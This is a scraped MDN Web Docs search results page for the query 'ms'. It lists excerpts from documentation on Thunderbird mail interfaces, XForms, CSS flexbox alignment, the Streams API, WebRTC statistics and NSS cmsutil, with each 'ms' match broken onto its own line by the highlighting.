Search completed in 1.30 seconds.
MSX Emulator (jsMSX) - Archive of obsolete content
js
msx is the first
msx emulator 100% written in javascript.
...it emulates the underlying z80 cpu, t
ms9918 video display processor (vdp), ppi, ram slots, and megaram.
... in its present form, it should be able to run any program or game developed for
msx 1.0.
...And 7 more matches
Troubleshooting XForms Forms - Archive of obsolete content
introduction the idea of this page is to collect some solutions to some of the common errors typically made when creating an xfor
ms form.
... always run your form through the xfor
ms validator.
... check the xhtml 1.0 namespace declaration mozilla xfor
ms is built upon the xhtml 1.0 specification, which is located at http://www.w3.org/1999/xhtml .
...And 5 more matches
MSManipulationEvent.initMSManipulationEvent() - Web APIs
the init
msmanipulationevent method is used to create a
msmanipulationevent that can be called from javascript.
... syntax
msmanipulationevent.init
msmanipulationevent(typearg, canbubblearg, cancelablearg, viewarg, detailarg, laststate, currentstate); parameters typearg [in] type: do
mstring the type of the event being created.
... example interface
msmanipulationevent extends uievent { readonly currentstate: number; readonly inertiadestinationx: number; readonly inertiadestinationy: number; readonly laststate: number; init
msmanipulationevent(typearg: string, canbubblearg: boolean, cancelablearg: boolean, viewarg: window, detailarg: number, laststate: number, currentstate: number): void; readonly
ms_manipulation_state_ac...
...tive: number; readonly
ms_manipulation_state_cancelled: number; readonly
ms_manipulation_state_committed: number; readonly
ms_manipulation_state_dragging: number; readonly
ms_manipulation_state_inertia: number; readonly
ms_manipulation_state_preselect: number; readonly
ms_manipulation_state_selecting: number; readonly
ms_manipulation_state_stopped: number; } see also
msmanipulationevent microsoft api extensions ...
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
practical tips for developers and how mozilla does it contents this document is for developers working to support
msaa in an application in order to make it accessible with 3rd party assistive technologies, as well as for hackers wishing to be involved in mozilla's
msaa support specifically.
...if you're interested in more about gecko's
msaa implementation, read gecko info for windows accessibility vendors to learn how
msaa clients can utilize gecko's
msaa support.
... intro: what is
msaa?
...And 92 more matches
nsIMsgDBView
the nsi
msgdbview interface handles the display of mail in the threadpane and preview pane of thunderbird and other xpcom based mail cients.
... inherits from: nsisupports implemented by: @mozilla.org/messenger/
msgdbview;1.
... to create an instance, use: var dbview = components.classes[@mozilla.org/messenger/
msgdbview;1?type=] .createinstance(components.interfaces.nsi
msgdbview); where type designates different types of view's available.
...And 91 more matches
XForms Custom Controls - Archive of obsolete content
purpose you are in the right place if you would like to create your own custom renderings of the xfor
ms controls like input, output, trigger, etc.
... we will also show you how to create custom controls that work with the xfor
ms model and are automatically updated just like xfor
ms controls.
...to really grasp the following information, a good understanding of xfor
ms, xbl, javascript and css is needed.
...And 56 more matches
nsIMsgFolder
the nsi
msgfolder interface is used to interact with folders in thunderbird.
...check //github.com/realityripple/uxp/blob/master/mailnews/base/public/nsi
msgfolder.idl for the newer methods (esp.
... inherits from: nsisupports method overview void startfolderloading(); void endfolderloading(); void updatefolder(in nsi
msgwindow awindow); nsi
msgfilterlist getfilterlist(in nsi
msgwindow
msgwindow); void setfilterlist(in nsi
msgfilterlist filterlist); void forcedbclosed(); void delete(); void deletesubfolders(in nsisupportsarray folders, in nsi
msgwindow
msgwindow); void propagatedelete(in nsi
msgfolder folder, in boolean deletestorage,in nsi
msgwindow
msgwindow); void recursivedelete(in boolean deletestorage, in nsi
msgwindow
msgwindow); void createsubfolder(in astring foldername, in nsi
msgwindow
msgwindow); nsi
msgfolder addsubfolder(in astring foldername); ...
...And 52 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
found 528 pages: # page tags and summary 1 mdn web docs glossary: definitions of web-related ter
ms beginner, definitions, dictionary, glossary, index, landing, terminology web technologies contain long lists of jargon and abbreviations that are used in documentation and coding.
...the api can be seen as a simple contract (the interface) between the application offering it and other ite
ms, such as third party software or hardware.
... 10 abstraction abstraction, coding, codingscripting, glossary, programming language abstraction in computer programming is a way to reduce complexity and allow efficient design and implementation in complex software syste
ms.
...And 46 more matches
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
in this guide we will be exploring the three properties that are applied to flex ite
ms, which enable us to control the size and flexibility of the ite
ms along the main axis — flex-grow, flex-shrink, and flex-basis.
... fully understanding how these properties work with growing and shrinking ite
ms is the real key to mastering flexbox.
...these relate to the natural size of flex ite
ms before any growing or shrinking takes place, and to the concept of free space.
...And 40 more matches
Aligning Items in a Flex Container - CSS: Cascading Style Sheets
to center our box we use the align-ite
ms property to align our item on the cross axis, which in this case is the block axis running vertically.
... justify-content — controls alignment of all ite
ms on the main axis.
... align-ite
ms — controls alignment of all ite
ms on the cross axis.
...And 39 more matches
nsIMsgDatabase
the nsi
msgdatabase interface is an abstract interface used to access the mail database backend.
... mailnews/db/
msgdb/public/nsi
msgdatabase.idlscriptable please add a summary to this article.
... last changed in gecko 1.9 (firefox 3) inherits from: nsidbchangeannouncer method overview void open(in nsilocalfile afoldername, in boolean acreate, in boolean aleaveinvaliddb); void forcefolderdbclosed(in nsi
msgfolder afolder); void close(in boolean aforcecommit); void commit(in ns
msgdbcommit committype); void forceclosed(); void clearcachedhdrs; void resethdrcachesize(in unsigned long size); nsi
msgdbhdr get
msghdrforkey(in ns
msgkey key); nsi
msgdbhdr get
msghdrformessageid(in string messageid); boolean containskey(in ns
msgkey key); nsi
msgdbhdr createnewhdr(in ns
msgkey key); void addnewhdrtodb(in nsi
msgdbhdr newhdr, in boolean notify); nsi
msgdbhdr copyhdrfromexistinghdr(in ns
msgkey key, in nsi
msgdbhdr existinghdr, in boolean addhdrtodb); void listallkeys(in ...
...And 35 more matches
Handling common HTML and CSS problems - Learn web development
previous overview: cross browser testing next with the scene set, we'll now look specifically at the common cross-browser proble
ms you will come across in html and css code, and what tools can be used to prevent proble
ms from happening, or fix proble
ms that occur.
... this includes linting code, handling css prefixes, using browser dev tools to track down proble
ms, using polyfills to add support into browsers, tackling responsive design proble
ms, and more.
... objective: to be able to diagnose common html and css cross browser proble
ms, and use appropriate tools and techniques to fix them.
...And 27 more matches
MSGestureEvent - Web APIs
the
msgestureevent is a proprietary interface specific to internet explorer and microsoft edge which represents events that occur due to touch gestures.
... events using this interface include
msgesturestart,
msgestureend,
msgesturetap,
msgesturehold,
msgesturechange, and
msinertiastart.
...
msgestureevent derives from uievent, which in turn derives from event.
...And 27 more matches
XForms Accessibility
intoduction this article provides a quick guide to how accessibility is handled in gecko for xfor
ms..
... assistive technologies api for xfor
ms is supported starting from firefox 3 (gecko 1.9).
... implementation of accessible objects for xfor
ms elements is based on top of the existing object hierarchy introduced in the mozilla accessibility module.
...And 26 more matches
Handling common accessibility problems - Learn web development
previous overview: cross browser testing next next we turn our attention to accessibility, providing information on common proble
ms, how to do simple testing, and how to make use of auditing/automation tools for finding accessibility issues.
... objective: to be able to diagnose common accessibility proble
ms, and use appropriate tools and techniques to fix them.
...you might have inherited a site where the semantics are not very good (perhaps you've ended up with a horrible c
ms that generates buttons made with <div>s), or you are using a complex control that does not have keyboard accessibility built in, like the html5 <video> element (amazingly, opera is the only browser that allows you to tab through the <video> element's default browser controls).
...And 25 more matches
nsIMsgMessageService
objects that implements nsi
msgmessageservice give the user top level routines related to messages like copying, displaying, attachment's manipulation, printing, streaming the message content to eml format string, etc.
... inherits from: nsisupports method overview void copymessage(in string asrcuri, in nsistreamlistener acopylistener, in boolean amovemessage, in nsiurllistener aurllistener, in nsi
msgwindow a
msgwindow, out nsiuri aurl); [noscript] void copymessages(in ns
msgkeyarrayptr keys, in nsi
msgfolder srcfolder, in nsistreamlistener acopylistener, in boolean amovemessage, in nsiurllistener aurllistener, in nsi
msgwindow a
msgwindow, out nsiuri aurl); void displaymessage(in string amessageuri, in nsisupports adisplayconsumer, in nsi
msgwindow a
msgwindow, in nsiurllistener aurllistener, in string acharsetoverride, out nsiuri aurl); void openattachment(in string acontenttype, in string afilename, in string aurl, in string amessageuri, in nsisupports adisplayconsumer, in n...
...si
msgwindow a
msgwindow, in nsiurllistener aurllistener); void savemessagetodisk(in string amessageuri, in nsifilespec afile, in boolean ageneratedummyenvelope, in nsiurllistener aurllistener, out nsiuri aurl, in boolean canonicallineending, in nsi
msgwindow a
msgwindow); void geturlforuri(in string amessageuri, out nsiuri aurl, in nsi
msgwindow a
msgwindow); void displaymessageforprinting(in string amessageuri, in nsisupports adisplayconsumer, in nsi
msgwindow a
msgwindow, in nsiurllistener aurllistener, out nsiuri aurl); void search(in nsi
msgsearchsession asearchsession, in nsi
msgwindow a
msgwindow, in nsi
msgfolder a
msgfolder, in string asearchuri); nsiuri streammessage(in string amessageuri, in nsisupports aconsumer, in nsi
msgwindow a
msgwindow, in nsiu...
...And 25 more matches
Ordering Flex Items - CSS: Cascading Style Sheets
we will also consider the implications of reordering ite
ms from an accessibility point of view.
... reverse the display of the ite
ms the flex-direction property can take one of four values: row column row-reverse column-reverse the first two values keep the ite
ms in the same order that they appear in the document source order and display them sequentially from the start line.
... the second two values reverse the ite
ms by switching the start and end lines.
...And 25 more matches
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
flexbox was designed as a single dimensional layout, meaning that it deals with laying out ite
ms as a row or as a column — but not both at once.
... there is however the ability to wrap flex ite
ms onto new lines, creating new rows if flex-direction is row and new columns if flex-direction is column.
...this means that if you have a set of flex ite
ms that are too wide for their container, they will overflow it.
...And 24 more matches
Mozilla XForms User Interface - Archive of obsolete content
introduction this article is a quick reference of the xfor
ms user interface elements.
... mainly this is aimed to document how xfor
ms elements will be presented in mozilla since the xfor
ms specifications give only a hint of how controls might be rendered.
... currently xfor
ms can be hosted by xhtml and xul in seamonkey and firefox.
...And 20 more matches
XForms - Archive of obsolete content
note: support for xfor
ms was removed from firefox in firefox 19.
... see the html for
ms guide for approaches to creating for
ms in html5.
... xfor
ms essentials an online book giving you a guided tour of xfor
ms.
...And 19 more matches
Handling common JavaScript problems - Learn web development
previous overview: cross browser testing next now we'll look at common cross-browser javascript proble
ms and how to fix them.
... this includes information on using browser dev tools to track down and fix proble
ms, using polyfills and libraries to work around proble
ms, getting modern javascript features working in older browsers, and more.
... objective: to be able to diagnose common javascript cross-browser proble
ms, and use appropriate tools and techniques to fix them.
...And 18 more matches
align-items - CSS: Cascading Style Sheets
the css align-ite
ms property sets the align-self value on all direct children as a group.
... in flexbox, it controls the alignment of ite
ms on the cross axis.
... in grid layout, it controls the alignment of ite
ms on the block axis within their grid area.
...And 18 more matches
nsISmsRequestManager
nsis
msrequestmanager dom/s
ms/interfaces/nsis
msrequestmanager.idlscriptable used to manage s
ms related requests and notifications for the webs
ms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/s
ms/s
msrequestmanager;1.
... to create an instance, use: var s
msrequestmanager = components.classes["@mozilla.org/s
ms/s
msrequestmanager;1"] .createinstance(components.interfaces.nsis
msrequestmanager); method overview long addrequest(in nsidommozs
msrequest arequest); long createrequest(in nsidommozs
msmanager amanager, out nsidommozs
msrequest arequest); void notifycreatemessagelist(in long arequestid, in long alistid, in nsidommozs
msmessage amessage); void notifygets
msfailed(in long arequestid, in long aerror); void notifygotnextmessage(in long arequestid, in nsidommozs
msmessage amessage); void notifygots
ms(in long arequestid, in nsidommozs
msmessage amessage); void notifymarkedmessageread(in long arequestid, in bool aread); void notifymarkmessagereadfailed(in long arequestid, in ...
...long aerror); void notifynomessageinlist(in long arequestid); void notifyreadmessagelistfailed(in long arequestid, in long aerror); void notifys
msdeleted(in long arequestid, in bool adeleted); void notifys
msdeletefailed(in long arequestid, in long aerror); void notifys
mssendfailed(in long arequestid, in long aerror); void notifys
mssent(in long arequestid, in nsidommozs
msmessage amessage); constants all s
ms related errors that could apply to s
msrequest objects.
...And 17 more matches
nsIMsgIncomingServer
nsi
msgincomingserver mailnews/base/public/nsi
msgincomingserver.idlscriptable ???
... inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void clearallvalues(); void cleartemporaryreturnreceiptsfilter(); void closecachedconnections(); void configuretemporaryfilters(in nsi
msgfilterlist filterlist); void configuretemporaryreturnreceiptsfilter(in nsi
msgfilterlist filterlist); obsolete since gecko 1.8 void displayoffline
msg(in nsi
msgwindow awindow); boolean equals(in nsi
msgincomingserver server); void forgetpassword(); void forgetsessionpassword(); astring generateprettynameformigration(); boolean getboolattribute(in string name); boolean getboolvalue(in string attr); acstring getcharattribute(in string name); acstring getcharvalue(in string...
... attr); nsilocalfile getfilevalue(in string relpref, in string abspref); nsi
msgfilterlist getfilterlist(in nsi
msgwindow a
msgwindow); long getintattribute(in string name); long getintvalue(in string attr); nsi
msgfolder get
msgfolderfromuri(in nsi
msgfolder afolderresource, in acstring auri); void getnewmessages(in nsi
msgfolder afolder, in nsi
msgwindow a
msgwindow, in nsiurllistener aurllistener); acstring getpasswordwithui(in astring apromptstring, in astring aprompttitle, in nsi
msgwindow a
msgwindow, out boolean okayvalue); astring getunicharattribute(in string name); astring getunicharvalue(in string attr); boolean isnewhdrduplicate(in nsi
msgdbhdr anewhdr); void onuserorhostnamechanged(in acstring oldname, in acstring newname); void performbiff(in nsi
msgwindow a
msgwind...
...And 16 more matches
Streams API concepts - Web APIs
the strea
ms api adds a very useful set of tools to the web platform, providing objects allowing javascript to programmatically access strea
ms of data received over the network and process them as desired by the developer.
... some of the concepts and terminology associated with strea
ms might be new to you — this article explains all you need to know.
... readable strea
ms a readable stream is a data source represented in javascript by a readablestream object that flows from an underlying source — this is a resource somewhere on the network or elsewhere on your domain that you want to get data from.
...And 16 more matches
URLSearchParams - Web APIs
the urlsearchpara
ms interface defines utility methods to work with the query string of a url.
... an object implementing urlsearchpara
ms can directly be used in a for...of structure, for example the following two lines are equivalent: for (const [key, value] of mysearchpara
ms) {} for (const [key, value] of mysearchpara
ms.entries()) {} note: this feature is available in web workers.
... constructor urlsearchpara
ms() returns a urlsearchpara
ms object instance.
...And 16 more matches
justify-items - CSS: Cascading Style Sheets
the css justify-ite
ms property defines the default justify-self for all ite
ms of the box, giving them all a default way of justifying each box along the appropriate axis.
... the effect of this property is dependent of the layout mode we are in: in block-level layouts, it aligns the ite
ms inside their containing block on the inline axis.
... for absolutely-positioned elements, it aligns the ite
ms inside their containing block on the inline axis, accounting for the offset values of top, left, bottom, and right.
...And 16 more matches
nsMsgFolderFlagType
defined in comm-central/ mailnews/ base/ public/ ns
msgfolderflags.idl typedef unsigned long ns
msgfolderflagtype; /// flags about a folder or a newsgroup.
... [scriptable,uuid(fbe7cba8-3141-4c44-9660-99af6b53f27e)] interface ns
msgfolderflags { /** * @name folder type flags * these flags define the type of folder.
... const ns
msgfolderflagtype newsgroup = 0x00000001; /// this folder is a news server.
...And 15 more matches
Streams - Plugins
« previousnext » this chapter describes using plug-in api functions to receive and send strea
ms.
... strea
ms are objects that represent urls and the data they contain, or data sent by a plug-in without an associated url.
...strea
ms can be produced by the browser and consumed by a plug-in instance, or produced by an instance and consumed by the browser.
...And 15 more matches
Mozilla XForms Specials - Archive of obsolete content
introduction this article gives an overview of where the mozilla xfor
ms extension deviates from the official xfor
ms 1.0 specification .
...pseudo-class support we currently support all the css pseudo-classes in xfor
ms (:enabled, :disabled, etc.
...instead you will have to use the following normal classes instead: xf-value xf-repeat-item xf-repeat-index for example, to target the value element of an input control use: @namespace xf url("http://www.w3.org/2002/xfor
ms"); xf|input .xf-value { ...
...And 14 more matches
Streams API - Web APIs
the strea
ms api allows javascript to programmatically access strea
ms of data received over the network and process them as desired by the developer.
... with strea
ms being available to javascript, this all changes — you can now start processing raw data with javascript bit by bit as soon as it is available on the client-side, without needing to generate a buffer, string, or blob.
... there are more advantages too — you can detect when strea
ms start or end, chain strea
ms together, handle errors and cancel strea
ms as required, and react to the speed of the stream is being read at.
...And 14 more matches
place-items - CSS: Cascading Style Sheets
the css place-ite
ms shorthand property allows you to align ite
ms along both the block and inline directions at once (i.e.
... the align-ite
ms and justify-ite
ms properties) in a relevant layout system such as grid or flexbox.
... constituent properties this property is a shorthand for the following css properties: align-ite
ms justify-ite
ms syntax /* keyword values */ place-ite
ms: auto center; place-ite
ms: normal start; /* positional alignment */ place-ite
ms: center normal; place-ite
ms: start auto; place-ite
ms: end normal; place-ite
ms: self-start auto; place-ite
ms: self-end normal; place-ite
ms: flex-start auto; place-ite
ms: flex-end normal; place-ite
ms: left auto; place-ite
ms: right normal; /* baseline alignment */ ...
...And 14 more matches
itemscope - HTML: Hypertext Markup Language
ite
mscope is a boolean global attribute that defines the scope of associated metadata.
... specifying the ite
mscope attribute for an element creates a new item, which results in a number of name-value pairs that are associated with the element.
... every html element may have an ite
mscope attribute specified.
...And 14 more matches
MenuItems - Archive of obsolete content
adding shortcut keys to menu ite
ms a shortcut key may be associated with a menu item.
... <keyset> <key id="open-key" modifiers="accel" key="o"/> <key id="close-key" modifiers="accel" key="c"/> </keyset> <menubar> <menu label="view"> <menupopup> <menuitem label="open" key="open-key"/> <menuitem label="close" key="close-key"/> </menupopup> </menu> </menubar> the two menuite
ms are associated with a key using the key attribute.
...the result is that the ite
ms will display the shortcut key next to their labels.
...And 13 more matches
nsIMsgSearchSession
the nsi
msgsearchsession interface allows you to create and manipulate search sessions within thunderbird.
... to create an instance, use: var searchsession = components.classes["@mozilla.org/messenger/searchsession;1"] .createinstance(components.interfaces.nsi
msgsearchsession); to use the instance append search ter
ms, set the scope, and then call search().
... searchsession.addscopeterm(components.interfaces.ns
msgsearchscope.offlinemail, afolder); var searchterm = searchsession.createterm(); var value = searchterm.value; value.str = avalue; searchterm.value = value; searchterm.op = searchsession.booleanor; searchterm.booleanand = false; searchsession.appendterm(searchterm); searchsession.search(null); inherits from: nsisupports method overview void addsearchterm(in ns
msgsearchattribvalue attrib, in ns
msgsearchopvalue op, in nsi
msgsearchvalue value, in boolean booleanand, in string arbitraryheader); nsi
msgsearchterm createterm(); void appendterm(in nsi
msgsearchterm term); void registerlistener(in nsi
msgsearchnotify listener); void unregisterlistener(in nsi
msgsearchnotify listener); void g...
...And 13 more matches
Dragging and Dropping Multiple Items - Web APIs
mozilla supports the ability to drag multiple ite
ms using some additional non-standard methods.
... setting and getting with indices the mozsetdataat() method allows you to add multiple ite
ms during a dragstart event.
... this function similarly to setdata() var dt = event.datatransfer; dt.mozsetdataat("text/plain", "data to drag", 0); dt.mozsetdataat("text/plain", "second data to drag", 1); this example adds two ite
ms to be dragged.
...And 13 more matches
nsIMsgDBHdr
the nsi
msgdbhdr interface describes headers for mail messages.
...for instance,
msghdrforcurrentmessage() will return the currently selected message's header.
...in clear, if you want to do a persistent change to a message header, such as marking it as read, or replied to, or whatever, you must do it through its corresponding nsi
msgfolder (
msghdr.folder) or nsi
msgdatabase (
msghdr.folder.
msgdatabase).
...And 11 more matches
LocalFileSystemSync - Web APIs
the localfilesyste
msync interface of the file system api gives you access to a sandboxed file system.
... basic concepts you can request access to a sandboxed file system by requesting localfilesyste
msync object from within a web worker.
... the global methods in the window object requestfilesyste
msync() and resolvelocalfilesyste
msyncurl() methods are exposed to the worker's global scope.
...And 11 more matches
nsISmsService
dom/s
ms/interfaces/nsis
msservice.idlscriptable used to send s
ms text messages for the webs
ms api 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 15.0 (firefox 15.0 / thunderbird 15.0 / seamonkey 2.12) implemented by: @mozilla.org/s
ms/s
msservice;1.
... to create an instance, use: var s
msservice = components.classes["@mozilla.org/s
ms/s
msservice;1"] .createinstance(components.interfaces.nsis
msservice); method overview [implicit_jscontext] nsidommozs
msmessage creates
msmessage(in long id, in do
mstring delivery, in do
mstring sender, in do
mstring receiver, in do
mstring body, in jsval timestamp, in bool read ); unsigned short getnumberofmessagesfortext(in do
mstring text); boolean hassupport(); void send(in do
mstring number, in do
mstring message, in long requestid, [optional] in unsigned long long processid); methods creates
msmessage() [implicit_jscontext] nsidommozs
msmessage creates
msmessage( in long id, in do
mstring delivery, in do
mstring sender, in do
mstring receiver, ...
...in do
mstring body, in jsval timestamp, in bool read ); parameters id a number representing the id of the message.
...And 10 more matches
RTCRtpStreamStats - Web APIs
the rtcrtpstrea
mstats dictionary is returned by the rtcpeerconnection.getstats(), rtcrtpsender.getstats(), and rtcrtpreceiver.getstats() methods to provide detailed statistics about webrtc connectivity.
... rtcrtpstrea
mstats is the base class for all rtp-related statistics reports.
... note: this interface was called rtcrtpstrea
mstats until a specification update in the spring of 2017.
...And 10 more matches
Using readable streams - Web APIs
as a javascript developer, programmatically reading and manipulating strea
ms of data received over the network, chunk by chunk, is very useful!
... but how do you use the strea
ms api’s readable stream functionality?
... note: this article assumes that you understand the use cases of readable strea
ms, and are aware of the high-level concepts.
...And 10 more matches
Building Mozilla XForms - Archive of obsolete content
getting started things to know first: the xfor
ms extension has a dependency on the schema-validation extension, so you need to build both (that's done automatically) mozilla switched from cvs to mercurial starting with firefox 3.5.
... before you can start building the xfor
ms extension, you should check your mozilla build environment by doing a regular firefox build.
...the following table gives you an overview of which version you want to build: firefox version gecko/toolkit version source code notes status firefox 2.0 gecko 1.8.1 cvs, branch mozilla_1_8_branch not developed any more last release: 0.8.5ff2 firefox 3.0 gecko 1.9.0 cvs, branch head not developed any more last release: 0.8.5ff3 firefox 3.5 gecko 1.9.1 xfor
ms/schema-validation code does not build with firefox 3.5 any more not supported firefox 3.6 gecko 1.9.2 xfor
ms/schema-validation code does not build with firefox 3.6 any more not developed any more last release: 0.8.6 firefox 4 gecko 2.0 mercurial, repositories mozilla-central xfor
ms schema-validation mostly works upcoming 0.8.7 release if you have your first working firefox build, you ca...
...And 9 more matches
RFE to the XForms API - Archive of obsolete content
introduction this page contains requests for enhancement to the xfor
ms api.
... the term xfor
ms api can fall into two categories.
... these are xfor
ms dom and xfor
ms interfaces that are exposed by xfor
ms dom.
...And 9 more matches
Styling web forms - Learn web development
previous overview: for
ms next in the previous few articles we looked at all the html you'll need to create and structure your web for
ms.
... objective: to understand the issues behind styling for
ms, and learn some of the basic styling techniques that will be useful to you.
... and even with css available to style html, browser vendors have historically been reluctant to make form controls stylable because users were so accustomed to the visual appearance of their respective platfor
ms.
...And 9 more matches
RTCOutboundRtpStreamStats - Web APIs
the rtcoutboundrtpstrea
mstats dictionary is the rtcstats-based object which provides metrics and statistics related to an outbound rtp stream being sent by an rtcrtpsender.
... properties the rtcoutboundrtpstrea
mstats dictionary includes the following properties in addition to those it inherits from rtcsentrtpstrea
mstats, rtcrtpstrea
mstats, and rtcstats.
...valid only for video strea
ms.
...And 9 more matches
Emscripten
e
mscripten is an llvm to javascript compiler.
... important: this page provides a very brief introduction to what e
mscripten is.
... to get started with e
mscripten, go to the official e
mscripten wiki.
...And 8 more matches
Adding items to the Folder Pane
this tutorial examines how to add ite
ms to an existing folder pane view.
...that container will have 3 child-ite
ms, the numbers 1, 2, and 3.
... clicking on those ite
ms will display the number in the main viewing pane of thunderbird.
...And 8 more matches
-ms-filter - Archive of obsolete content
the -
ms-filter css property is a microsoft extension that sets or retrieves the filter or collection of filters applied to an object.
... syntax the -
ms-filter property is specified as a string that contains a list of one or more ite
ms, separated by spaces, of the following types: filters transitions procedural surfaces formal syntax filter: <-
ms-filter-function>+ -
ms-filter: [ "'" <-
ms-filter-function># "'" ] | [ '"' <-
ms-filter-function># '"' ] where <-
ms-filter-function> = <-
ms-filter-function-progid> | <-
ms-filter-function-legacy> where <-
ms-filter-function-progid> = 'progid:' [ <ident-token> '.' ]* [ <ident-token> | <function-toke...
...n> <any-value> ')' ] <-
ms-filter-function-legacy> = <ident-token> | <function-token> <any-value> ')' the <string> contains the list of filters, transitions, and procedural surfaces.
...And 7 more matches
HTML forms in legacy browsers - Learn web development
fortunately, there are a few tricks to know that can help you to solve most of the proble
ms caused by legacy browsers.
... make things simple because html for
ms involves complex interaction, there is one rule of thumb: keep it simple, also known as the "kiss principal".
... there are so many cases where we want for
ms that are "nicer" or "with advanced functionality", but building efficient html for
ms is not a question of design or technology.
...And 7 more matches
nsIMsgWindow
mailnews/base/public/nsi
msgwindow.idlscriptable please add a summary to this article.
... inherits from: nsisupports last changed in gecko 8 (firefox 8 / thunderbird 8 / seamonkey 2.5) implemented by: @mozilla.org/messenger/
msgwindow;1.
... to create an instance, use:
msgwindow = components.classes["@mozilla.org/messenger/
msgwindow;1"] .createinstance(components.interfaces.nsi
msgwindow); in thunderbird the default message window is stored in the global variable
msgwindow.
...And 7 more matches
RTCInboundRtpStreamStats - Web APIs
the webrtc api's rtcinboundrtpstrea
mstats dictionary, based upon rtcreceivedrtpstrea
mstats and rtcstats, contains statistics related to the receiving end of an rtp stream on the local end of the rtcpeerconnection.
... properties the rtcinboundrtpstrea
mstats dictionary is based on the rtcreceivedrtpstrea
mstats dictionary, whose properties are also available.
...this value is only available for video strea
ms.
...And 7 more matches
RTCRtpSender.setStreams() - Web APIs
the rtcrtpsender method setstrea
ms() associates the sender's track with the specified mediastream or array of mediastream objects.
... syntax rtcrtpsender.setstrea
ms(mediastream); rtcrtpsender.setstrea
ms([mediastream...]); parameters mediastream or [mediastream...] optional an mediastream object—or an array of multiple mediastream objects—identifying the strea
ms to which the rtcrtpsender's track belongs.
... if this parameter isn't specified, no new strea
ms will be associated with the track.
...And 7 more matches
TransformStream - Web APIs
the transfor
mstream interface of the strea
ms api represents a set of transformable data.
... constructor transfor
mstream() creates and returns a transform stream object from the given handlers.
... properties transfor
mstream.readable read only the readable end of a transfor
mstream.
...And 7 more matches
Coordinate systems - CSS: Cascading Style Sheets
when specifying the location of a pixel in a graphics context (just like when specifying coordinate syste
ms in algebra), its position is defined relative to a fixed point in the context.
... this guide describes the standard coordinate syste
ms used by the css object model.
... these are generally only different in ter
ms of where their origin is located.
...And 7 more matches
Web forms — Working with user data - Learn web development
this module provides a series of articles that will help you master the essentials of web for
ms.
... web for
ms are a very powerful tool for interacting with users — most commonly they are used for collecting data from users, or allowing them to control a user interface.
...in the articles listed below, we'll cover all the essential aspects of web for
ms including marking up their html structure, styling form controls, validating form data, and submitting data to the server.
...And 6 more matches
NSS tools : cmsutil
name c
msutil — perfor
ms basic cryptograpic operations, such as encryption and decryption, on cryptographic message syntax (c
ms) messages.
... synopsis c
msutil [options] arguments description the c
msutil command-line uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (c
ms) messages.
... to run c
msutil, type the command c
msutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section.
...And 6 more matches
NSS Tools cmsutil
using c
msutil newsgroup: mozilla.dev.tech.crypto the c
msutil command-line utility uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (c
ms) messages.
... syntax to run c
msutil, type the command c
msutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section.
...the options and arguments for the c
msutil command are defined as follows: options -ddecode a message.
...And 6 more matches
NSS tools : cmsutil
name c
msutil — perfor
ms basic cryptograpic operations, such as encryption and decryption, on cryptographic message syntax (c
ms) messages.
... synopsis c
msutil [options] arguments description the c
msutil command-line uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (c
ms) messages.
... to run c
msutil, type the command c
msutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section.
...And 6 more matches
nsIDOMStorage
dom/interfaces/storage/nsido
mstorage.idlscriptable this interface represents the storage space used for session storage in the dom.
... ite
ms stored in session storage may be accessed by any interested party in the same browsing context.
...method overview void clear(); do
mstring getitem(in do
mstring key); do
mstring key(in unsigned long index); void removeitem(in do
mstring key); void setitem(in do
mstring key, in do
mstring data); attributes attribute type description length unsigned long the number of keys stored in the session store.
...And 6 more matches
nsIMsgThread
the nsi
msgfolder interface is used to interact with threads in thunderbird.
... inherits from: nsisupports method overview void addchild(in nsi
msgdbhdr child, in nsi
msgdbhdr inreplyto, in boolean threadinthread, in nsidbchangeannouncer announcer); nsi
msgdbhdr getchildat(in long index); ns
msgkey getchildkeyat(in long index); nsi
msgdbhdr getchild(in ns
msgkey
msgkey); nsi
msgdbhdr getchildhdrat(in long index); nsi
msgdbhdr getroothdr(out long index); void removechildat(in long index); void removechildhdr(in nsi
msgdbhdr child, in nsidbchangeannouncer announcer); void markchildread(in boolean bread); nsi
msgdbhdr getfirstunreadchild(); nsisimpleenumerator enumeratemessages(in ns
msgkey parent); attributes attribute type description threadkey n...
...s
msgkey unsigned long key designating this thread.
...And 6 more matches
nsIMsgCloudFileProvider
nsi
msgcloudfileprovider is the interface that must be implemented by new filelink providers.
... accountkey acstring readonly: the unique identifier for the account associated with an instance of an nsi
msgcloudfileprovider.
... constants the following constants are used for the status codes passed to the onstoprequest functions of the nsirequestobserver's used by the asynchronous methods of nsi
msgcloudfileprovider.
...And 6 more matches
DataTransfer.items - Web APIs
the read-only datatransfer property ite
ms property is a list of the data transfer ite
ms in a drag operation.
... the list includes one item for each item in the operation and if the operation had no ite
ms, the list is empty.
... syntax itemlist = datatransfer.ite
ms; return value a datatransferitemlist object containing datatransferitem objects representing the ite
ms being dragged in a drag operation, one list item for each object being dragged.
...And 6 more matches
msAudioCategory - Web APIs
the
msaudiocategory property of the html <audio> element, is a read/write proprietary attribute, specific to internet explorer and microsoft edge.
...
msaudiocategory specifies the purpose of the audio or video media, such as background audio or alerts.
... syntax <audio controls="controls"
msaudiocategory="backgroundcapablemedia"> </audio> the
msaudiocategory property offers a variety of values that can enhance the behavior of your audio-aware app.
...And 6 more matches
WebGL2RenderingContext.getActiveUniforms() - Web APIs
the webgl2renderingcontext.getactiveunifor
ms() method of the webgl 2 api retrieves information about active unifor
ms within a webglprogram.
... syntax any gl.getactiveunifor
ms(program, uniformindices, pname); parameters program a webglprogram containing the active unifor
ms.
... uniformindices an array of gluint specifying the indices of the active unifor
ms to query.
...And 6 more matches
<mstyle> - MathML
the mathml <
mstyle> element is used change the style of its children.
